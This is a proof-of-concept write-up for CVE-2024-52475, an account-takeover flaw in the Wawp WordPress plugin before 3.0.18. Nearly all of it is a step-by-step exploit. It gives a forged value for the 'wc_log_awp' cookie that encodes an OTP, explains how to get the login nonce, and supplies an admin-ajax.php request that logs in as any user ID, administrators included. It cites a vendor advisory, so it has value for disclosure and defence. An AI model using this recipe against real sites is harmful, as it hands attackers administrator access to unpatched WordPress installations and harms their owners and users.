CVE-2024-52475 PoC — WordPress Wawp plugin < 3.0.18 - Account Takeover vulnerability

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Associated Vulnerability

Description

Broken Authentication in Wordpress plugin (Wawp Plugin < 3.0.18)

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## (CVE-2024-52475) WordPress Wawp Plugin <= 3.0.17 is vulnerable to Broken Authentication (Account takeover)

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### **Introduction**
After browsing some sources and related code about this CVE, I found some oddities and flaws in the class-login.php file of the Wawp Plugin at version 3.0.17 onwards. The flaw is in lines 252 to 257 where the code decodes the OTP from cookie 'wc_log_awp'. That allows someone irresponsible to set the cookie manually via DevTools or otherwise.
![1.jpg](1.jpg)

### **Testing**
 1. Set cookie 'wc_log_awp' manually from DevTools, with this value 'VFZSSmVrMVVUWGc9' decoded: (123131)
 2. Find the login nonce at home/login page
 ![1.jpg](2.jpg) or ![1.jpg](3.jpg)
 3. And go to this this url directly
     ```url
    http://wordpress.test/wp-admin/admin-ajax.php?action=awp_login&nonce=LOGIN_NONCE&code=123131&user=USER_ID
      ```
 4. If the response is like this, the exploit is successful
  ![1.jpg](4.jpg)
 5. Check cookies admin from DevTools, and go to /wp-admin
  ![1.jpg](5.jpg)
  
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### Refference:
[https://patchstack.com/database/vulnerability/automation-web-platform/wordpress-wawp-plugin-3-0-18-account-takeover-vulnerability](https://patchstack.com/database/vulnerability/automation-web-platform/wordpress-wawp-plugin-3-0-18-account-takeover-vulnerability)

### Thanks To:
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